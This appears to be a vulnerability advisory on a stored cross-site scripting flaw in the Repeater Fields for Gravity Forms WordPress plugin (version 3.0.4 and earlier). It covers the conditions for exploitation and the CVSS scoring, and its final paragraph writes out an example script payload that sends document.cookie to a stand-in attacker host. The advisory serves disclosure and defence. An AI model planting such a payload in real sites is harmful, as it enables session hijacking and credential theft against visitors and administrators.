Gravity Forms Repeater EUVD-2026-74602

Exploitation requires three concrete conditions: (1) the target WordPress site must have the Repeater Fields for Gravity Forms plugin installed at version ≤3.0.4; (2) at least one published, publicly accessible Gravity Form must include a Repeater field block that contains a multi-input sub-field type - specifically Name, Address, or Checkbox field types, not scalar text/email/number fields; (3) the form must accept submissions without requiring login (default configuration for most contact or intake forms). Exploitation is limited to multi-input composite sub-field types only - scalar single-input field values (plain text, email, phone) are protected by esc_html() in 3.0.4 and are NOT exploitable. Sites where all repeater forms require authenticated submission (logged-in users only) reduce but do not eliminate risk, as authenticated contributors could still inject payloads.

The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C) scores 7.2, but UI:N is debatable for stored XSS: exploitation requires a separate user (e.g., a site visitor or WordPress admin) to load the injected page, which aligns with UI:R under standard CVSS 3.1 guidance - yielding a score closer to 6.1. Scope:Changed (S:C) is correctly applied since the injected script executes in the victim's browser security context rather than the plugin's origin. No EPSS data or KEV listing was provided, and no public exploit code has been identified, reducing immediate risk. However, the combination of zero authentication required (PR:N), low attack complexity (form submission), and the fact that this affects the most recent released version (3.0.4) makes this a credible threat for any WordPress site using Gravity Forms with the Repeater Fields addon and at least one public-facing form containing Name, Address, or Checkbox repeater sub-fields. Practical impact is script injection against form viewers or administrators reviewing entries in the WP backend - typically session theft, credential harvesting, or defacement.

An unauthenticated attacker visits a WordPress site with a public Gravity Form that includes a Repeater field containing a Name or Address sub-field, submits the form with a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) as one of the composite sub-field values, and the payload is stored in the WordPress database without sanitization. When any site visitor or administrator subsequently loads a page rendering that form entry - such as a confirmation page, entry list in the WP admin, or a front-end display - their browser executes the injected script, enabling session hijacking or credential theft.